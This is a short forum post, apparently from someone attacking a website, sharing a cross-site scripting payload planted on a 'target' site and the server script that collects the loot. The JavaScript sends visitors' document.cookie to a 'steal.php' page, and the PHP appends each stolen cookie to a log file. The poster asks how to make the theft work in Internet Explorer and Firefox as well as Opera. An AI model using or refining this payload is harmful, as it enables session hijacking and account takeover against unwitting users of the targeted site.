Okay this is what I have on my targets site.
And this is what is on my server.Code:
document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
For some reason this only works on Opera any ideas on how I can this compatible with IE and FF?